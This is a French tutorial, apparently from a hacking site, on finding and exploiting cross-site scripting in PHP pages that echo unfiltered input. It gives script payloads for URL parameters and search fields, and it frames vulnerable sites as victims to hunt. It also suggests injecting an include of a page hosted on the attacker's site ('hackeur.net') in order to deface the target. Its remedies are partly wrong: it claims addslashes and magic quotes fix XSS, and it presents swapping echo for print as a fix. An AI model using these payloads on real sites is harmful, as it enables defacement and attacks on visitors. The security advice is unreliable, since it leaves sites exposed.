La fonction echo() de PHP permet l'affichage de texte.
Ce texte peut être représenté par une variable qui sera définie lors de l'appel de la page via une chaine de requête :http://www.victime.net/casimir.php?page=4&titre=Recette+du+Goubli%5fBoulga
Sur la page 4.php inclue dans casimir.php du site www.victime.net, on aura à l'emplacement du titre ce code :
<?php echo $titre ?>
Au bout du compte, cette page aura pour titre "Recette du Goubli-Boulga".
Changez maintenant l'URL dans la barre d'adresse :
http://www.victime.net/casimir.php?page=4&titre=Recette+du+Poulet+au+chocolat+bleu
La page aura donc maintenant pour titre "Recette du Poulet au chocolat bleu".
Vous avez donc pus écrire vous-même sur la page de la victime. Cela temporairement bien sûr, vous n'avez rien "gravé", vous serez seul à vous taper votre trip :) !
Si vous avez pus mettre du texte, alors, vous pouvez peut-être mettre du code !
Pour vérifier si le Webmaster n'a pas pensé à sécuriser son code, voici comment faire :
http://www.victime.net/casimir.php?page=4&titre=<script>alert("C'est du billard !")</script>
Si la page affiche une boite de dialogue avec inscrit "C'est du billard", c'est que c'est du billard :), vous vous êtes trouvé une victime !
Si par contre, votre petit script apparait sur la page en titre, c'est foiré.
Vous n'avez donc plus qu'à remplacer le titre par, par exemple, une fonction include() :
include("http://www.hackeur.net/tmor.php")
De cette façon, la page tmor.php de votre site (hackeur.net) apparaitra dans la page de la victime, à la place du titre.
tmor.php peut bien entendu contenir du code ordonnant le déffacement de la page ou affichant la page PHP elle-même.
Voir plus loin pour en savoir plus sur la faille include().
Dans un moteur de recherche
Le principe est le même que pour la faille echo() sauf que l'on passe par un input (dans ce cas, un champs de texte).Par exemple, un moteur de recherche interne au site www.victime.net propose de rechercher les différents éléments de l'Ile aux enfants.
Pour tester la faille, vous entrerez alors ce mot clé :
<script>alert("C'est du billard")</script>
Si la page de résultat affiche une boîte de dialogue avec inscrit "C'est du billard", c'est que c'est Ok !
Si par contre, vous avez une phrase du type "L'élément recherché [<script>alert("C'est du billard")</script>] n'a pas été trouvé.", c'est que c'est foiré, le script est sécurisé.
C'est donc là qu'intervient echo(), il précise sur la page de résultat le mot recherché ... que vous définissez ! On retrouve donc bien la faille echo().
- Comment sécuriser tout ça ?
Que ce soit dans le moteur ou echo tout seul, le principe est le même : ne plus utiliser echo().
Vous devrez donc le remplacer par <?php print htmlentities($titre) ?>.
Ceci pour le titre de la recette mais pour le moteur de recherche, le principe est le même sauf que ce sera la page résultats qui devra rappeller le mot clé grace à cette fonction.
Cette fonction transforme les caractères de la chaine en entités html, le code n'est donc plus interprété en tant que tel.
Bien entendu, il existe maintes solutions pour sécuriser cette faille, comme l'ajout de slashes à l'aide de addslashes() mais cette solution est la moins contraignante.
Vous pouvez également activer l'option MAGIC_QUOTES dans votre php.ini (MAGIC_QUOTES = on).